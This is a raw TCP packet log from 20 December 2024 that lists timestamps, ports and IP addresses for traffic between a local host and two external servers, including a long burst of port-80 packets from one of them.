Dec 20, 2024 16:05:27.855634928 CET	443	49732	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:27.855694056 CET	49732	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:27.855994940 CET	49732	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:27.856009960 CET	443	49732	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:28.385416031 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:28.385449886 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:28.385540009 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:28.385888100 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:28.385901928 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.612644911 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.612723112 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.616720915 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.616738081 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.616993904 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.618170023 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.619457006 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.619491100 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.619616032 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.619647026 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.619765043 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.619793892 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.619890928 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.619921923 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.620105028 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.620131969 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.620300055 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.620328903 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.620342970 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.620358944 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.620435953 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.620456934 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.620490074 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.620626926 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.620657921 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.667345047 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.667541027 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.667603970 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.667643070 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.715329885 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:29.715513945 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:29.763336897 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:33.141648054 CET	49677	443	192.168.2.7	20.50.201.200
Dec 20, 2024 16:05:33.568370104 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:33.568464994 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:33.568588972 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:33.568732023 CET	49739	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:33.568751097 CET	443	49739	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:33.640860081 CET	49751	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:33.640908003 CET	443	49751	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:33.641726971 CET	49751	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:33.642092943 CET	49751	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:33.642106056 CET	443	49751	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:34.863890886 CET	443	49751	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:34.863951921 CET	49751	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:34.868138075 CET	49751	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:34.868156910 CET	443	49751	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:34.868443966 CET	443	49751	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:34.883431911 CET	49751	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:34.883479118 CET	49751	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:34.883536100 CET	443	49751	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:35.635982990 CET	443	49751	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:35.636070967 CET	443	49751	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:35.636214972 CET	49751	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:35.636480093 CET	49751	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:35.636501074 CET	443	49751	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:35.636513948 CET	49751	443	192.168.2.7	104.21.21.99
Dec 20, 2024 16:05:35.636521101 CET	443	49751	104.21.21.99	192.168.2.7
Dec 20, 2024 16:05:35.657023907 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:35.776746988 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:35.776844978 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:35.777035952 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:35.896752119 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.125009060 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.125179052 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.125194073 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.125253916 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.125364065 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.125380993 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.125401974 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.125410080 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.125422955 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.125435114 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.125452995 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.125459909 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.125472069 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.125482082 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.125543118 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.244854927 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.244884968 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.244934082 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.315370083 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.315629959 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.315673113 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.317888021 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.317962885 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.318011045 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.326324940 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.326589108 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.326636076 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.334800005 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.334999084 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.335056067 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.343265057 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.343422890 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.343468904 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.351490021 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.352025986 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.352068901 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.359841108 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.359925985 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.359972954 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.368340969 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.368474960 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.368542910 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.376668930 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.377516031 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.377568007 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.385094881 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.385277987 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.385329008 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.393445015 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.393701077 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.393743038 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.435076952 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.485353947 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.509949923 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.509978056 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.510067940 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.511951923 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.512006044 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.512104988 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.516830921 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.516940117 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.516987085 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.521759987 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.521903992 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.521950960 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.526747942 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.526967049 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.527028084 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.531397104 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.531539917 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.531600952 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.536139011 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.536206007 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.536252022 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.540889025 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.541095972 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.541145086 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.545604944 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.545627117 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.545684099 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.550373077 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.550636053 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.550681114 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.555078030 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.555330038 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.555370092 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.559844971 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.559919119 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.559967041 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.564596891 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.564858913 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.564903975 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.569315910 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.569390059 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.569432974 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.574028969 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.574136019 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.574181080 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.578733921 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.578871965 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.578916073 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.583508968 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.583867073 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.583913088 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.588227034 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.589011908 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.589134932 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.592948914 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.641597986 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.701579094 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.701632023 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.701704025 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.702608109 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.702795029 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.702866077 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.706603050 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.706677914 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.706722975 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.709649086 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.709692955 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.709745884 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.713619947 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.713713884 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.713758945 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.717488050 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.718708038 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.718770027 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.721213102 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.721297979 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.721354008 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.724952936 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.724992037 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.725033998 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.728612900 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.728746891 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.728806973 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.732414961 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.733377934 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.733433008 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.736032963 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.736756086 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.736807108 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.739615917 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.739660978 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.739706993 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.743401051 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.743432045 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.743479967 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.747108936 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.747226000 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.747282028 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.750900030 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.751049042 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.751091003 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.754527092 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.754635096 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.754678965 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.758250952 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.758512020 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.758573055 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.761850119 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.761892080 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.761944056 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.765528917 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.765692949 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.765739918 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.769269943 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.769396067 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.769443035 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.772897005 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.773231983 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.773274899 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.776617050 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.776940107 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.776987076 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.780371904 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.780504942 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.780553102 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.784146070 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.784357071 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.784405947 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.914753914 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.914771080 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.914788961 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.914844990 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.914963961 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.915085077 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.918992996 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.919007063 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.919049978 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.920041084 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.920119047 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.920164108 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.923038960 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.923052073 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.923099995 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.925710917 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.925724983 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.925765991 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.928559065 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.928571939 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.928700924 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.931094885 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.931108952 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.931159019 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.933870077 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.933943033 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.933990002 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.936734915 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.936752081 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.936800003 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.939378977 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.940301895 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.940368891 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.942414999 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.942431927 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.942470074 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.945605993 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.945636988 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.945693970 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.947945118 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.948096037 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.948147058 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.951071978 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.951109886 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.951167107 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.954763889 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.954777002 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.954819918 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.956629992 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.956643105 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.956715107 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.958914995 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.959019899 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.959064007 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.961786032 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.961949110 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.962069035 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.965627909 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.965640068 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.965682983 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.968228102 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.968240976 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.968295097 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.970597982 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.970611095 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.970657110 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.975080967 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.975094080 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.975182056 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.978391886 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.978404999 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.978420019 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.978432894 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.978455067 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.978487015 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.983076096 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.983088970 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.983144045 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.985272884 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.985294104 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.985368013 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.987087965 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.987102032 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.987145901 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:37.991077900 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.991092920 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:37.991185904 CET	49757	80	192.168.2.7	185.215.113.16
